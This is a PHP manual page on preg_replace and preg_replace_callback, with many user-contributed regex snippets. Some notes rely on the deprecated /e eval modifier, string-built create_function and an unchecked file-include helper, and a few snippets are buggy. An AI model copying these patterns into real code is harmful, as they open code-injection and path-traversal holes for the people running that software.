For the callback I advise only to use a permanent or anonymous function.

Depending on the usage you may encounter memory issues when using create_function for the callback possibly due to attempts at being compatible with PHP 5.2 or prior. Some servers  refuse to update their PHP  for whatever reason.

Please peruse the create_function documentation for more details regarding its memory usage.

Regards.
T-Soloveychik at ya dot ru 20-Jul-2013 11:41
Text lines numeration:
<?PHP
// Multieline text:
    $Text = "
Some
Multieline
text
for
numeration";

// For count:
    $GLOBALS["LineNUMBER"] = 1;

// Replace linestart on number:
    PRINT preg_replace_callback("/^/m",function ()
        {
            return $GLOBALS["LineNUMBER"]++."  ";
        },
        $Text);

?>

1
2 Some
3 Multieline
4 text
5 for
6 numeration
kkatpki 18-Jun-2013 11:41
Note that, as of PHP 5.3, it seems that named subpatterns are now included in the matches array by their named key as well as their numerical key.

To build off of Chris' previous example, as of PHP 5.3, you *can* do

<?php

preg_replace_callback('/(?<char>[a-z])/', 'callback', 'word');

function callback($matches) {
    var_dump($matches);
}

?>

and expect to get $matches['char'] in your function. * BUT ONLY AS OF PHP 5.3 *

Please be mindful of this if you intend to support PHP 5.2.
Yuri 15-Oct-2012 07:27
If you want to call non-static function inside your class, you can do something like this.

For PHP 5.2 use second argument like array($this, 'replace'):
<?php
class test_preg_callback{

  private function process($text){
    $reg = "/\{([0-9a-zA-Z\- ]+)\:([0-9a-zA-Z\- ]+):?\}/";
    return preg_replace_callback($reg, array($this, 'replace'), $text);
  }

  private function replace($matches){
    if (method_exists($this, $matches[1])){
      return @$this->$matches[1]($matches[2]);
    }
  }
}
?>

For PHP 5.3 use second argument like "self::replace":
<?php
class test_preg_callback{

  private function process($text){
    $reg = "/\{([0-9a-zA-Z\- ]+)\:([0-9a-zA-Z\- ]+):?\}/";
    return preg_replace_callback($reg, "self::replace", $text);
  }

  private function replace($matches){
    if (method_exists($this, $matches[1])){
      return @$this->$matches[1]($matches[2]);
    }
  }
}
?>
Richard 04-Sep-2012 07:59
The easiest way to pass more than one parameters to the callback function is with the 'use' keyword.

[This is better than using global, because it works even when we are already inside a function.]

In this example, the callback function is an anonymous function, which takes one argument, $match, supplied by preg_replace_callback().  The extra
"use ($ten)" puts the $ten variable into scope for the function.

<?php
$string = "Some numbers: one: 1; two: 2; three: 3 end";
$ten = 10;
$newstring = preg_replace_callback(
    '/(\\d+)/',
    function($match) use ($ten) { return (($match[0] + $ten)); },
    $string
    );
echo $newstring;
#prints "Some numbers: one: 11; two: 12; three: 13 end";
?>
matt at languesvivantes dot com 29-Jun-2012 08:39
Actually, this only works from php 5.4, see the changelog on http://php.net/manual/en/functions.anonymous.php
development at HashNotAdam dot com 19-Jun-2012 02:47
From PHP 5.3 you can use an anonymous function to pass local variables into the callback.

<?php

public function replace_variables( $subject, $otherVars ) {
    $linkPatterns = array(
        '/(<a .*)href=(")([^"]*)"([^>]*)>/U',
        "/(<a .*)href=(')([^']*)'([^>]*)>/U"
    );

    $callback = function( $matches ) use ( $otherVars ) {
        $this->replace_callback($matches, $otherVars);
    };

    return preg_replace_callback($this->patterns, $callback, $subject);
}

public function replace_callback($matches, $otherVars) {
    return $matches[1] . $otherVars['myVar'];
}
?>
Florian Arndt 26-Jan-2012 09:26
This small class allows PHP users to read JSON files with include statements in them. For instance the include {{{ "relative/to/including.json" }}} is replaced by the content of the json file located at "relative/to/including.json".

<?php
    /**
     * Handles JSON files with includes
     * Purpose: handle bigger JSON files by featuring "includes"
     *
     * @author Florian Arndt
     */
    class JWI {
        /**
         * Parses a JSON file and returns its contents
         * @param String $filename
         */
        static function read($filename) {
            if(!file_exists($filename))
                throw new Exception('<b>JWI Error: JSON file <tt>'.$filename.'</tt> not found!</b>');
            $content = join('', file($filename));
            $dir = dirname($filename);
            /**
             * replace
             *   include statements
             * with
             *   content of the file to include
             * recursively
             */
            $content = preg_replace_callback(
                '/{{{\s*"\s*(.+)\s*"\s*}}}/', // >include file< - pattern
                create_function(
                    '$matches', // callback parameter
                    sprintf(
                        '$fn = "%s/".$matches[1];'.
                        'return JWI::read($fn);',
                        realpath(dirname($filename))
                    )
                ),
                $content
            );
            return $content;
        }
    }
henzeberkheij at gmail dot com 23-Nov-2011 05:23
also note that when you are using this functionality in a class and you need variables in that class, you can use a non static function as callback. array($this, functionName) should be enough to call an function of the class.

Either use create_function if you require the code only once,
use a static class function if no need for accessing variables in that class. or use the array metioned earlier in my post for having access to class variables or other functions!
webmaster at mp3s dot pl 28-Jul-2011 09:57
I noticed that 'e' modifier use addslashed on result

<?
function wyczysc_strongi($string) {
    if(mb_strlen($string,'UTF-8')>60) {
        return $string;
    } else {
        return '<strong>'.$string.'</strong>';
    }
}

$tresc = "<strong>fajna dupa's</strong>";

$tresc = preg_replace("/<strong>(.*?)<\/strong>/ie",'wyczysc_strongi("$1")',$tresc);

echo $tresc will give: <strong>fajna dupa\'s</strong>
?>

solution: $tresc = stripslashes($tresc);
after callback
aleksander at throw dot pl 10-Jan-2011 11:59
I needed a simple code to tidy up a string. It simply had to upper-case letters after dot. Simple code to do so:

<?php
$string = preg_replace_callback(
'|(?:\.)(?:\s*)(\w{1})|Ui',
create_function('$matches', 'return ". ".strtoupper($matches[1]);'), ucfirst($string)
);
?>

<?php
$string = 'lorem ipsum dolor sit amet, consectetur adipiscing elit. sed ullamcorper diam eu lorem varius nec porta elit iaculis.';

echo preg_replace_callback(
'|(?:\.)(?:\s*)(\w{1})|Ui',
create_function('$matches', 'return ". ".strtoupper($matches[1]);'), ucfirst($string)
);
?>

Will output: Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed ullamcorper diam eu lorem varius nec porta elit iaculis.

<?php
$string = 'lorem ipsum dolor sit amet, consectetur adipiscing elit.                 sed ullamcorper diam eu lorem varius nec porta elit iaculis.';

echo preg_replace_callback(
'|(?:\.)(?:\s*)(\w{1})|Ui',
create_function('$matches', 'return ". ".strtoupper($matches[1]);'), ucfirst($string)
);
?>

Will output: Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed ullamcorper diam eu lorem varius nec porta elit iaculis.

Nothing fancy, but useful :)
alex dot cs00 at yahoo dot ca 06-Oct-2010 11:09
Don't use this function to fetch BBCode, as explained. If you have some text that runs over 5000 chars (average), it will run out of its limit and makes you download the PHP page.

According to this, you should instead use something more advanced yet complex. You will need a function called "str_replace_once()" (search for it), one called "countWord()", the famous "after()", "before()", "between()".

str_replace_once does same as str_replace, but only replace first occurence. As for countWord, I guess you know how to count the number of a word occurence. As for after, before and between, this is a function that you may find easily somewhere on the site by a user. Else, you can do it.

The following function is able to do all blocks, supposing [code] and [/code], you might wish things between parents dont get parsed, including [code] if inside of another [code].

<?php
function prepareCode($code, $op, $end)
{
    $ix = 0;
    $iy = 0;
    $nbr_Op = countWord($op, $code);
    while($ix < $nbr_Op)
    {
        if(in_string($op, before($end, $code), false))
        {
            // The following piece of code replace the default [tag] by [tag:#]
            $code = str_replace_once($op, substr($op, 0, -1).':'.$ix.']', $code);
            $iy++;
        }
        elseif(in_string($end, before($op, $code), false))
        {
            $iy = $iy-1;
            $code = str_replace_once($end, substr($end, 0, -1).':'.($ix-1).']', $code);
            $ix = $ix-2;
        }
        $ix++;
    }
    while(in_string($end, $code))
    {
        $code = str_replace_once($end, substr($end, 0, -1).':'.($iy-1).']', $code);
        $iy=$iy-1;
    }

    $code = preg_replace('#\\'.substr($end, 0, 1).':-[0-9]\]#i', '', $code);
    if(in_string(substr($op, 0, -1).':0]', $code) && !in_string(substr($end, 0, -1).':0]', $code))
    {
        $code .= substr($end, 0, -1).":0]";
    }
    return $code;
}
?>

$code returns the whole text semi-formated. You only need to use it as :
$code = prepareCode($code="Your text", $op="[tag]" , $end="[/tag]");
Then just replace the parent tags :
str_replace("[tag:0]", "<tag>", $code);
str_replace("[/tag:0]", "</tag>", $code);
So at the end something like :
[
chris at ocproducts dot com 02-Jul-2010 04:39
The pcre.backtrack_limit option (added in PHP 5.2) can trigger a NULL return, with no errors. The default pcre.backtrack_limit value is 100000. If you have a match that exceeds about half this limit it triggers a NULL response.
e.g. My limit was at 100000 but 500500 triggered a NULL response. I'm not running unicode but I *guess* PCRE runs in utf-16.
Anonymous 09-Jun-2010 09:01
Created this to fetch the link and name of an anchor tag. I use this when cleaning an HTML email to text. Using regex for HTML is not recommended but for this purpose I see no issue with it. This is not designed to work for nested anchors.

A note to keep in mind:
I was primarily concerned with valid HTML so if attributes do no use ' or " to contain the values then this will need to be tweaked.
If you can edit this to work better, please let me know.
<?php
/**
 * Replaces anchor tags with text
 * - Will search string and replace all anchor tags with text (case insensitive)
 *
 * How it works:
 * - Searches string for an anchor tag, checks to make sure it matches the criteria
 *         Anchor search criteria:
 *             - 1 - <a (must have the start of the anchor tag )
 *             - 2 - Can have any number of spaces or other attributes before and after the href attribute
 *             - 3 - Must close the anchor tag
 *
 * - Once the check has passed it will then replace the anchor tag with the string replacement
 * - The string replacement can be customized
 *
 * Know issue:
 * - This will not work for anchors that do not use a ' or " to contain the attributes.
 *         (i.e.- <a href=http: //php.net>PHP.net</a> will not be replaced)
 */
function replaceAnchorsWithText($data) {
    /**
     * Had to modify $regex so it could post to the site... so I broke it into 6 parts.
     */
    $regex  = '/(<a\s*'; // Start of anchor tag
    $regex .= '(.*?)\s*'; // Any attributes or spaces that may or may not exist
    $regex .= 'href=[\'"]+?\s*(?P<link>\S+)\s*[\'"]+?'; // Grab the link
    $regex .= '\s*(.*?)\s*>\s*'; // Any attributes or spaces that may or may not exist before closing tag
    $regex .= '(?P<name>\S+)'; // Grab the name
    $regex .= '\s*<\/a>)/i'; // Any number of spaces between the closing anchor tag (case insensitive)

    if (is_array($data)) {
        // This is what will replace the link (modify to you liking)
        $data = "{$data['name']}({$data['link']})";
    }
    return preg_replace_callback($regex, 'replaceAnchorsWithText', $data);
}

$input  = 'Test 1: <a href="http: //php.net1">PHP.NET1</a>.<br />';
$input .= 'Test 2: <A name="test" HREF=\'HTTP: //PHP.NET2\' target="_blank">PHP.NET2</A>.<BR />';
$input .= 'Test 3: <a hRef=http: //php.net3>php.net3</a><br />';
$input .= 'This last line had nothing to do with any of this';

echo replaceAnchorsWithText($input).'<hr/>';
?>
Will output:
Test 1: PHP.NET1(http: //php.net1).
Test 2: PHP.NET2(HTTP: //PHP.NET2).
Test 3: php.net3 (is still an anchor)
This last line had nothing to do with any of this
Drake 22-Mar-2010 02:48
The good version of the class PhpHex2Str
<?php
class PhpHex2Str
{
    private $strings;

    private static function x_hex2str($hex) {
        $hex = substr($hex[0], 1);
        $str = '';
        for($i=0;$i < strlen($hex);$i+=2) {
            $str.=chr(hexdec(substr($hex,$i,2)));
        }
        return $str;
    }

    public function decode($strings = null) {
        $this->strings = (string) $strings;
        return preg_replace_callback('#\%[a-zA-Z0-9]{2}#', 'PhpHex2Str::x_hex2str', $this->strings);
    }
}

// Exemple
$obj = new PhpHex2Str;

$strings = $obj->decode($strings);
var_dump($strings);
?>
Drake 21-Mar-2010 09:05
Decode Hexa to Strings =)
<?php
class PhpHex2Str
{
    private $strings;

    private function x_hex2str($hex) {
        $hex = substr($hex[0], 1);
        $str = '';
        for($i=0;$i < strlen($hex);$i+=2) {
            $str.=chr(hexdec(substr($hex,$i,2)));
        }
        return $str;
    }

    public function decode($strings = null) {
        $this->strings = (string) $strings;
        return preg_replace_callback('#\%[a-zA-Z0-9]{2}#', 'x_hex2str', $this->strings);
    }
}

// Example
$strings = 'a %20 b%0A h %27 h %23';

$obj = new PhpHex2Str;
$strings = $obj->decode($strings);
var_dump($strings);
?>
Matt 14-Sep-2009 06:24
If you're looking to show only the first digit and last four digits of a credit card number (4xxxxxxxxxxxx2331) use something like this:
preg_replace_callback('/((.)(.*))?(.{4})/', create_function('$x', 'return $x[2].str_repeat("x", strlen($x[3])).$x[4];'), '$CCNUMBER')
ixiter at gmail dot com 29-Jul-2009 04:06
When you use preg_replace_callback in a class and have the callback function as a private method of that class, you need to set the callback function name like className::CallBack.
self::CallBack does not work and returns an error:
"Cannot call method self::CallBack() or method does not exist"!

<?php
class myClass{
    public function parsetext($text){
        // parses text and sets literals A - C to lower case
        // this works
        return preg_replace_callback('|([a-c])|i', 'myClass::preg_tolower', $text);
    }
    public function parsefail($text){
        // parses text and sets literals A - C to lower case
        // this fails
        return preg_replace_callback('|([a-c])|i', 'self::preg_tolower', $text);
    }

    private static function preg_tolower($matches){
        return strtolower($matches[1]);
    }
}

$parser = new myClass;
echo $parser->parsetext('ABCDEFGH');
// echoes abcDEFGH

echo $parser->parsefail('ABCDEFGH');
// throws the error
?>
carlos dot ballesteros at softonic dot com 02-Jul-2009 05:02
A simple function to replace a list of complete words or terms in a string (for PHP 5.3 or above because of the closure):

<?php
function replace_words($list, $line, $callback) {
    return preg_replace_callback(
        '/(^|[^\\w\\-])(' . implode('|', array_map('preg_quote', $list)) . ')($|[^\\w\\-])/mi',
        function($v) use ($callback) { return $v[1] . $callback($v[2]) . $v[3]; },
        $line
    );
}
?>

Example of usage:
<?php
$list = array('php', 'apache web server');
$str = "php and the apache web server work fine together. php-gtk, for example, won't match. apache web servers shouldn't too.";

echo replace_words($list, $str, function($v) {
    return "<strong>{$v}</strong>";
});
?>
chris AT cmbuckley DOT co DOT uk 09-Jun-2009 04:44
This function does not support named subpatterns, so you can't do

<?php

preg_replace_callback('/(?<char>[a-z])/', 'callback', 'word');

function callback($matches) {
    var_dump($matches);
}

?>

and expect to get $matches['char'] in your function.
tijn at q-go dot com 05-Jan-2009 05:48
To access a local variable within a callback, use currying (delayed argument binding). For example
<?php
function curry($func, $arity) {
    return create_function('', "
        \$args = func_get_args();
        if(count(\$args) >= $arity)
            return call_user_func_array('$func', \$args);
        \$args = var_export(\$args, 1);
        return create_function('','
            \$a = func_get_args();
            \$z = ' . \$args . ';
            \$a = array_merge(\$z,\$a);
            return call_user_func_array(\'$func\', \$a);
        ');
    ");
}

function on_match($transformation, $matches)
{
    return $transformation[strtolower($matches[1])];
}

$transform = array('a' => 'Well,', 'd'=>'whatever', 'b'=>' ');

$callback = curry(on_match, 2);
echo preg_replace_callback('/([a-z])/i', $callback($transform), 'Abcd');

echo "\n";
?>

outputs:

"Well, whatever"

The magic lies in this curry function I found here: http://www.sitepoint.com/forums/showthread.php?threadid=336758
nicolaspar at gmail dot com 20-Dec-2008 03:33
To spend more than one parameter can do the following (note the "e" parameter in preg_replace function)
<?
$array = array(
1=>'ONE',
2=>'TWO',
3=>'Three'
);

function search(&$array, $str, $foo, $bar){
    return ( empty($array[$str]) ? '['.$foo.'-'.$bar.']' : $array[$str] );
}

function keys(&$array, $str,$foo,$bar){
    return preg_replace('/\[(.*?)\]/e',"search(\$array,$1,\$foo,\$bar)",$str);
}

$str = "One [1] Two [2] Three [3], Other parameter [22]";

echo keys($array, $str,'Foo','Bar');
?>
Nice
nene at triin dot net 20-May-2008 12:14
The first example is bad, because it creates function for every line it processes. When the file has many lines, you could easily run out of memory. The code should be changed so, that create_function() is used outside of loop.
Sjon at hortensius dot net 24-Jun-2007 01:56
preg_replace_callback returns NULL when pcre.backtrack_limit is reached; this sometimes occurs faster then you might expect. No error is raised either; so don't forget to check for NULL yourself
matt at mattsoft dot net 26-Apr-2006 11:16
it is much better on preformance and better practice to use the preg_replace_callback function instead of preg_replace with the e modifier.

function a($text){return($text);}

// 2.76 seconds to run 50000 times
preg_replace("/\{(.*?)\}/e","a('\\1','\\2','\\3',\$b)",$a);

// 0.97 seconds to run 50000 times
preg_replace_callback("/\{(.*?)\}/s","a",$a);


Perform a regular expression search and replace

  • « preg_replace_callback
  • preg_split »
  • PHP Manual
  • PCRE Functions
  • Perform a regular expression search and replace

preg_replace

(PHP 4, PHP 5)

preg_replace — Perform a regular expression search and replace

Description

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

Searches subject for matches to pattern and replaces them with replacement.

Parameters

pattern

The pattern to search for. It can be either a string or an array with strings.

Several PCRE modifiers are also available, including the deprecated 'e' (PREG_REPLACE_EVAL), which is specific to this function.

replacement

The string or an array with strings to replace. If this parameter is a string and the pattern parameter is an array, all patterns will be replaced by that string. If both pattern and replacement parameters are arrays, each pattern will be replaced by the replacement counterpart. If there are fewer elements in the replacement array than in the pattern array, any extra patterns will be replaced by an empty string.

replacement may contain references of the form \\n or (since PHP 4.0.4) $n, with the latter form being the preferred one. Every such reference will be replaced by the text captured by the n'th parenthesized pattern. n can be from 0 to 99, and \\0 or $0 refers to the text matched by the whole pattern. Opening parentheses are counted from left to right (starting from 1) to obtain the number of the capturing subpattern. To use backslash in replacement, it must be doubled ("\\\\" PHP string).

When working with a replacement pattern where a backreference is immediately followed by another number (i.e.: placing a literal number immediately after a matched pattern), you cannot use the familiar \\1 notation for your backreference. \\11, for example, would confuse preg_replace() since it does not know whether you want the \\1 backreference followed by a literal 1, or the \\11 backreference followed by nothing. In this case the solution is to use \${1}1. This creates an isolated $1 backreference, leaving the 1 as a literal.

When using the deprecated e modifier, this function escapes some characters (namely ', ", \ and NULL) in the strings that replace the backreferences. This is done to ensure that no syntax errors arise from backreference usage with either single or double quotes (e.g. 'strlen(\'$1\')+strlen("$2")'). Make sure you are aware of PHP's string syntax to know exactly how the interpreted string will look.

subject

The string or an array with strings to search and replace.

If subject is an array, then the search and replace is performed on every entry of subject, and the return value is an array as well.

limit

The maximum possible replacements for each pattern in each subject string. Defaults to -1 (no limit).

count

If specified, this variable will be filled with the number of replacements done.

Return Values

preg_replace() returns an array if the subject parameter is an array, or a string otherwise.

If matches are found, the new subject will be returned, otherwise subject will be returned unchanged or NULL if an error occurred.

Errors/Exceptions

An E_DEPRECATED level error is emitted when passing in the "\e" modifier.

Changelog

Version | Description
5.5.0 | The /e modifier is deprecated. Use preg_replace_callback() instead. See the PREG_REPLACE_EVAL documentation for additional information about security risks.
5.1.0 | Added the count parameter

Examples

Example #1 Using backreferences followed by numeric literals

<?php
$string = 'April 15, 2003';
$pattern = '/(\w+) (\d+), (\d+)/i';
$replacement = '${1}1,$3';
echo preg_replace($pattern, $replacement, $string);
?>

The above example will output:

April1,2003

Example #2 Using indexed arrays with preg_replace()

<?php
$string = 'The quick brown fox jumped over the lazy dog.';
$patterns = array();
$patterns[0] = '/quick/';
$patterns[1] = '/brown/';
$patterns[2] = '/fox/';
$replacements = array();
$replacements[2] = 'bear';
$replacements[1] = 'black';
$replacements[0] = 'slow';
echo preg_replace($patterns, $replacements, $string);
?>

The above example will output:

The bear black slow jumped over the lazy dog.

By ksorting patterns and replacements, we should get what we wanted.

<?php
ksort($patterns);
ksort($replacements);
echo preg_replace($patterns, $replacements, $string);
?>

The above example will output:

The slow black bear jumped over the lazy dog.

Example #3 Replacing several values

<?php
$patterns = array ('/(19|20)(\d{2})-(\d{1,2})-(\d{1,2})/',
                   '/^\s*{(\w+)}\s*=/');
$replace = array ('\3/\4/\1\2', '$\1 =');
echo preg_replace($patterns, $replace, '{startDate} = 1999-5-27');
?>

The above example will output:

$startDate = 5/27/1999

Example #4 Strip whitespace

This example strips excess whitespace from a string.

<?php
$str = 'foo   o';
$str = preg_replace('/\s\s+/', ' ', $str);
// This will be 'foo o' now
echo $str;
?>

Example #5 Using the count parameter

<?php
$count = 0;

echo preg_replace(array('/\d/', '/\s/'), '*', 'xp 4 to', -1 , $count);
echo $count; //3
?>

The above example will output:

xp***to
3

Notes

Note:

When using arrays with pattern and replacement, the keys are processed in the order they appear in the array. This is not necessarily the same as the numerical index order. If you use indexes to identify which pattern should be replaced by which replacement, you should perform a ksort() on each array prior to calling preg_replace().

See Also

  • PCRE Patterns
  • preg_filter() - Perform a regular expression search and replace
  • preg_match() - Perform a regular expression match
  • preg_replace_callback() - Perform a regular expression search and replace using a callback
  • preg_split() - Split string by a regular expression
  • preg_last_error() - Returns the error code of the last PCRE regex execution

User Contributed Notes

eurosat7 at yahoo dot de 08-Aug-2014 07:12
If you want to limit multiple occurences of any char in a sequence you might want to use this function.
<?php
function limit_char_repeat($string,$maxrepeat){
    return preg_replace("/(.)\\1{".$maxrepeat.",}/ms",str_repeat('\1',$maxrepeat),$string);
}
?>

Example:
<?php
$string="
---------------------
Heeeeeeeeeeeeeeeeeeeello Woooooooooooooooorld!!!!!!!!!!!!!!!!!!!!!!!!
===============================================================================================================
~~~~~~~~~~~~~~~~ ~ ~ ~
";
echo limit_char_repeat($string,5);
?>
Output:
-----
Heeeeello Wooooorld!!!!!
=====
~~~~~ ~ ~ ~
elliot dot greene at att dot net 10-Jun-2014 01:37
preg_replace to only show alpha numeric characters

$info = "The Development of code . http://www.";

$info = preg_replace("/[^a-zA-Z0-9]+/", "", $info);

echo $info;

OUTPUTS: TheDevelopmentofcodehttpwww

This is a good workable code
http://www.sioure.com
dhgouveia at gmail dot com 15-May-2014 07:26
if you want to replace only the content of specific div using the ID you can do this :

<?php
$id = "my-id";
$content = '<div id="my-id">Hello World</div><div  id="other-id"> My World</div>';
$replacement = "Hello Planet";

$result  =  preg_replace('/(<div.*?id=\"'.$id.'\"[^>]*>)(.*?)(<\/div>)/i', "$1{$replacement}$3", $content);

echo $result:
?>

should print :
<div id="my-id">Hello Planet</div><div  id="other-id"> My World</div>
reigyx_x at yahoo dot co dot id 15-Dec-2013 09:42
hy php.net
how to script preg replace for this code
>:(
i want to use this smiley, buit dont know how to regex it..
spamthishard at wtriple dot com 12-Jun-2013 05:02
If you want to replace only the n-th occurrence of $pattern, you can use this function:

<?php

function preg_replace_nth($pattern, $replacement, $subject, $nth=1) {
    return preg_replace_callback($pattern,
        function($found) use (&$pattern, &$replacement, &$nth) {
                $nth--;
                if ($nth==0) return preg_replace($pattern, $replacement, reset($found) );
                return reset($found);
        }, $subject,$nth  );
}

echo preg_replace_nth("/(\w+)\|/", '${1} is the 4th|', "|aa|b|cc|dd|e|ff|gg|kkk|", 4);

?>

this outputs |aa|b|cc|dd is the 4th|e|ff|gg|kkk|
backreferences are accepted in $replacement
jas at rephunter dot net 07-Jun-2013 02:00
It is recommended that str_replace should be used instead of preg_replace when regex is not needed. In particular, at http://php.net/manual/en/function.str-replace.php it says "If you don't need fancy replacing rules (like regular expressions), you should always use this function instead of preg_replace()."

While this is usually true, I have found a significant exception to this guideline and benchmarked to show that str_replace is in fact slower in the case when the pattern to be replaced is an array. In particular, when the number of elements in the pattern gets to be around 7, then the preg_replace is faster. Of course this would depend on the specifics of the regex.

In my case I had pattern arrays with about 40 elements. This becomes far slower with str_replace when there is a simple regex that will do the job.

Below is the benchmark with some examples of arrays for patterns and an equivalent regex.

<?php

/**
 * Title:    Test Harness
 * Author:    **********
 * Date:    27-May-13
 * Project:    *********
 * Purpose:    Test timer comparing str_replace and preg_replace
 *
 * Results:
 *
 * 1. preg_replace is a lot faster!
 * empty loop takes 0.12380504608154 microseconds.
 * Array size: 34
 *  *** str_replace:  6.0163598060608 microseconds.
 *  *** preg_replace: 2.1114869117737 microseconds.
 *
 * 2. str_replace is faster:
 * empty loop takes 0.11837291717529 microseconds.
 * Array size: 3
 *  *** str_replace:  1.7525472640991 microseconds.
 *  *** preg_replace: 2.0717389583588 microseconds.
 *
 * 3. preg_replace is faster:
 * empty loop takes 0.11982989311218 microseconds.
 * Array size: 10
 *  *** str_replace:  2.6692891120911 microseconds.
 *  *** preg_replace: 2.2716360092163 microseconds.
 *
 * 3. about the same: 6 element array is breakeven point to switch to preg_replace
 * empty loop takes 0.12036299705505 microseconds.
 * Array size: 6
 *  *** str_replace:  2.0874700546265 microseconds.
 *  *** preg_replace: 2.1840009689331 microseconds.
 *
 */

$iterations = 1000000;
$str1 = 'this is a - test';

// empty loop
$begin = microtime(true);
for ($i = 0; $i < $iterations; $i++)
{
}
$end = microtime(true);
$empty_loop_time = $end - $begin;
echo "empty loop takes $empty_loop_time microseconds.\n";

// test1 loop
// alternate array variations
//$aStr = array('\r\n','\r','\n','%','.','(',')',':',';','&',"\x07","\x15",'!','\'','"',
'#','^','*','_','=','+','\\','?','|','<','>','{','}','’','`','~','“','?','$');
//$aStr = array('\r\n','\r','\n');
//$aStr = array('0','1','2','3','4','5','6','7','8','9');
$aStr = array('0','1','2','3','4','5','6');
$cnt = count($aStr);
echo 'Array size: ' . $cnt . "\n";
$begin = microtime(true);
for ($i = 0; $i < $iterations; $i++)
{
    $str2 = str_replace($aStr,'',$str1);
}
$end = microtime(true);
$test1_loop_time = $end - $begin;

echo ' *** str_replace:  ';
$test_time = ($test1_loop_time - $empty_loop_time) * 1000000 / $iterations;
echo "$test_time microseconds.\n";

// test2 loop
$begin = microtime(true);
for ($i = 0; $i < $iterations; $i++)
{
    $str2 = preg_replace('/[^a-zA-Z\s]/','',$str1);
}
$end = microtime(true);
$test2_loop_time = $end - $begin;

echo ' *** preg_replace: ';
$test_time = ($test2_loop_time - $empty_loop_time) * 1000000 / $iterations;
echo "$test_time microseconds.\n";

?>
Dustin 16-May-2013 08:53
Matching substrings where the match can exist at the end of the string was non-intuitive to me.

I found this because:
strtotime() interprets 'mon' as 'Monday', but Postgres uses interval types that return short names by default, e.g. interval '1 month' returns as '1 mon'.

I used something like this:

$str = "mon month monday Mon Monday Month MONTH MON";
$strMonth = preg_replace('~(mon)([^\w]|$)~i', '$1th$2', $str);
echo "$str\n$strMonth\n";

//to output:
mon month monday Mon Monday Month MONTH MON
month month monday Month Monday Month MONTH MONth
nik at rolls dot cc 18-Mar-2013 07:14
To split Pascal/CamelCase into Title Case (for example, converting descriptive class names for use in human-readable frontends), you can use the below function:

<?php
function expandCamelCase($source) {
  return preg_replace('/(?<!^)([A-Z][a-z]|(?<=[a-z])[^a-z]|(?<=[A-Z])[0-9_])/', ' $1', $source);
}
?>

Before:
  ExpandCamelCaseAPIDescriptorPHP5_3_4Version3_21Beta
After:
  Expand Camel Case API Descriptor PHP 5_3_4 Version 3_21 Beta
cincodenada at gmail dot dot dot com 31-Oct-2012 07:43
There seems to be some confusion over how greediness works.  For those familiar with Regular Expressions in other languages, particularly Perl: it works like you would expect, and as documented.  Greedy by default, un-greedy if you follow a quantifier with a question mark.

There is a PHP/PCRE-specific U pattern modifier that flips the greediness, so that quantifiers are by default un-greedy, and become greedy if you follow the quantifier with a question mark: http://www.php.net/manual/en/reference.pcre.pattern.modifiers.php

To make things clear, a series of examples:

<?php

$preview = "a bunch of stuff <code>this that</code> and more stuff <code>with a second code block</code> then extra at the end";

$preview_default = preg_replace('/<code>(.*)<\/code>/is', "<code class=\"prettyprint\">$1</code>", $preview);
$preview_manually_ungreedy = preg_replace('/<code>(.*?)<\/code>/is', "<code class=\"prettyprint\">$1</code>", $preview);

$preview_U_default = preg_replace('/<code>(.*)<\/code>/isU', "<code class=\"prettyprint\">$1</code>", $preview);
$preview_U_manually_greedy = preg_replace('/<code>(.*?)<\/code>/isU', "<code class=\"prettyprint\">$1</code>", $preview);

echo "Default, no ?: $preview_default\n";
echo "Default, with ?: $preview_manually_ungreedy\n";
echo "U flag, no ?: $preview_U_default\n";
echo "U flag, with ?: $preview_U_manually_greedy\n";

?>

Results in this:

Default, no ?: a bunch of stuff <code class="prettyprint">this that</code> and more stuff <code>with a second code block</code> then extra at the end
Default, with ?: a bunch of stuff <code class="prettyprint">this that</code> and more stuff <code class="prettyprint">with a second code block</code> then extra at the end
U flag, no ?: a bunch of stuff <code class="prettyprint">this that</code> and more stuff <code class="prettyprint">with a second code block</code> then extra at the end
U flag, with ?: a bunch of stuff <code class="prettyprint">this that</code> and more stuff <code>with a second code block</code> then extra at the end

As expected: greedy by default, ? inverts it to ungreedy.  With the U flag, un-greedy by default, ? makes it greedy.
henke at henke37 dot cjb dot net 17-Sep-2012 10:36
Warning: not all strings are from a regular language, some are from context free grammars.

Here is a pair of strings that are impossible to correctly parse with regular expressions:

a*(b+(c*d)-e)/(f-(g*h)+i)-j

a[i]b[i]c[/i]d[/i]e[i]f[i]g[/i]h[/i]
zzapper 11-Jul-2012 02:07
yes you can use different pattern delimiters useful when working on an Url

<?php
$logo=preg_replace('#\\.\\./images#','/images',$logo);
?>
webmaster at antoinebouchard dot net 22-Jun-2012 11:37
It may seem useless, but the font tag in Internet Explorer won't recognize compressed hexa values. This is a simple function to uncompress hexa values in the font tag

<?php
function colorfix($text) {
    return preg_replace('/"#([a-f0-9])([a-f0-9])([a-f0-9])"/i', '"#$1$1$2$2$3$3"', $text);
}
?>
Ray dot Paseur at SometimesUsesGmail dot com 14-Feb-2012 12:48
Please see Example #4 Strip whitespace.  This works as designed, but if you are using Windows, it may not work as expected.  The potential "gotcha" is the CR/LF line endings.  On a Unix system, where there is only a single character line ending, that regex pattern will preserve line endings.  On Windows, it may strip line endings.
hvishnu999 at gmail dot com 08-Jan-2012 03:25
To covert a string to SEO friendly, do this:

<?php
$realname = "This is the string to be made SEO friendly!"

$seoname = preg_replace('/\%/',' percentage',$realname);
$seoname = preg_replace('/\@/',' at ',$seoname);
$seoname = preg_replace('/\&/',' and ',$seoname);
$seoname = preg_replace('/\s[\s]+/','-',$seoname);    // Strip off multiple spaces
$seoname = preg_replace('/[\s\W]+/','-',$seoname);    // Strip off spaces and non-alpha-numeric
$seoname = preg_replace('/^[\-]+/','',$seoname); // Strip off the starting hyphens
$seoname = preg_replace('/[\-]+$/','',$seoname); // // Strip off the ending hyphens
$seoname = strtolower($seoname);

echo $seoname;
?>

This will print: this-is-the-string-to-be-made-seo-friendly
support ~ at ~ mbnad ~ dot ~ com 03-Jan-2012 02:47
Wrong number of letters in words and how solve this problem and also remove extra spaces in a row:

<?php
$message_body = 'HHHHHEEEEELLLLLOOOOO             IAM COOOOOOOOOOOOOOOOOOOL      !!!!!!!!!!';
echo "\n".$message_body."\n";
$message_body = preg_replace('~(.?)\1{3,}~', '$1', $message_body);
$message_body = preg_replace('~\s+~', ' ', trim($message_body));
echo "\n".$message_body."\n\n";
?>
